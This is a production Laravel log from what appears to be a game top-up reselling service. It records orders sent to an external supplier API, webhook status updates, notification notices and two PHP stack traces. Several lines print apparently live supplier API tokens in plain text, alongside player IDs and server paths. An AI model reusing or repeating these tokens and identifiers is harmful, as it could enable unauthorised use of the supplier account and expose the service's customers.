[2026-03-24 22:26:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 22:26:38] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_approved","reference_id":179461} 
[2026-03-24 22:26:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 22:27:12] production.INFO: SendAcceptReject: Notification queued {"user_id":1471,"notification_type":"request_approved","reference_id":18723} 
[2026-03-24 22:27:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1471  
[2026-03-24 22:27:20] production.INFO: SendAcceptReject: Notification queued {"user_id":352,"notification_type":"request_approved","reference_id":18724} 
[2026-03-24 22:27:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 352  
[2026-03-24 22:27:25] production.ERROR: Attempt to read property "user_id" on null {"exception":"[object] (ErrorException(code: 0): Attempt to read property \"user_id\" on null at /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php:124)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#1 /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php(124): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController->approveCredit(Object(Illuminate\\Http\\Request))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('approveCredit', Array)
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController), 'approveCredit')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#8 /home/talaah/public_html/app/Http/Middleware/AdminAuth.php(35): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\AdminAuth->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 22:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02"} 
[2026-03-24 22:28:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","total_operations":1,"sites_count":1} 
[2026-03-24 22:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Jp86pMft3Xn8O6tXeGHuHSuqp0CqLqjB","execution_time":"2026-03-24 22:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:29:26] production.INFO: Constructing job for order: 179479  
[2026-03-24 22:29:29] production.INFO: Handling job for order: 179479  
[2026-03-24 22:29:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:29:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:29:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=aabdbe82-fc7f-4257-9fe5-b7f60a4e244a&Player_ID=5383496384  
[2026-03-24 22:29:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=aabdbe82-fc7f-4257-9fe5-b7f60a4e244a&Player_ID=5383496384","has_body":false} 
[2026-03-24 22:29:30] production.INFO: Operation sent successfully {"operation_id":164349,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0Hzm-1774380569","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:29:30"}},"processed_data":{"order_number":"ORD-0Hzm-1774380569","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:29:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0Hzm-1774380569","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:29:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-0Hzm-1774380569","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:29:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:29:39] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179479} 
[2026-03-24 22:29:39] production.INFO: Order updated successfully. Order ID: 179479, Status: completed  
[2026-03-24 22:29:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0Hzm-1774380569","status":"completed","codes_count":0} 
[2026-03-24 22:29:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:29:58] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 22:30:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 22:30:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 38  
[2026-03-24 22:30:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03"} 
[2026-03-24 22:30:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","total_operations":1,"sites_count":1} 
[2026-03-24 22:30:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:30:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:30:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zRTdLbU5XnKnFOoSTyVKKu4pn2MLXLUS","execution_time":"2026-03-24 22:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:30:05] production.INFO: async() رجع: true  
[2026-03-24 22:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:30:06] production.INFO: Constructing job for order: 179480  
[2026-03-24 22:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:30:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:30:09] production.INFO: Handling job for order: 179480  
[2026-03-24 22:30:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:30:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:30:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=ca0b0546-2c76-4e4a-a0e1-468f7608c13f&Player_ID=0991959276  
[2026-03-24 22:30:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=ca0b0546-2c76-4e4a-a0e1-468f7608c13f&Player_ID=0991959276","has_body":false} 
[2026-03-24 22:30:10] production.INFO: Operation sent successfully {"operation_id":164350,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oAPqaG-1774380610","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:30:10"}},"processed_data":{"order_number":"ORD-oAPqaG-1774380610","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:31:02] production.INFO: Constructing job for order: 179481  
[2026-03-24 22:31:04] production.INFO: Handling job for order: 179481  
[2026-03-24 22:31:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:31:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:31:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=16cf7ca4-5d92-4477-9d26-c4704fda2a06&Player_ID=52287552389  
[2026-03-24 22:31:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=16cf7ca4-5d92-4477-9d26-c4704fda2a06&Player_ID=52287552389","has_body":false} 
[2026-03-24 22:31:05] production.INFO: Operation sent successfully {"operation_id":164351,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iUtfM2h-1774380665","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:31:05"}},"processed_data":{"order_number":"ORD-iUtfM2h-1774380665","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 22:31:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iUtfM2h-1774380665","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:31:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-iUtfM2h-1774380665","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:31:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:31:16] production.INFO: SendAcceptReject: Notification queued {"user_id":38,"notification_type":"order_approved","reference_id":179481} 
[2026-03-24 22:31:16] production.INFO: Order updated successfully. Order ID: 179481, Status: completed  
[2026-03-24 22:31:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iUtfM2h-1774380665","status":"completed","codes_count":0} 
[2026-03-24 22:31:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 38  
[2026-03-24 22:31:25] production.INFO: Constructing job for order: 179482  
[2026-03-24 22:31:26] production.INFO: Handling job for order: 179482  
[2026-03-24 22:31:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:31:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:31:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1e5e0650-bfc2-4b7e-8f28-053f3899af08&Player_ID=52287552389  
[2026-03-24 22:31:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1e5e0650-bfc2-4b7e-8f28-053f3899af08&Player_ID=52287552389","has_body":false} 
[2026-03-24 22:31:27] production.INFO: Operation sent successfully {"operation_id":164352,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RiJD-1774380687","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:31:27"}},"processed_data":{"order_number":"ORD-RiJD-1774380687","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:31:37] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-RiJD-1774380687","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:31:37] production.INFO: Processed webhook data (normalized) {"id":"ORD-RiJD-1774380687","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:31:37] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:31:37] production.INFO: SendAcceptReject: Notification queued {"user_id":38,"notification_type":"order_approved","reference_id":179482} 
[2026-03-24 22:31:37] production.INFO: Order updated successfully. Order ID: 179482, Status: completed  
[2026-03-24 22:31:37] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-RiJD-1774380687","status":"completed","codes_count":0} 
[2026-03-24 22:31:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 38  
[2026-03-24 22:31:49] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
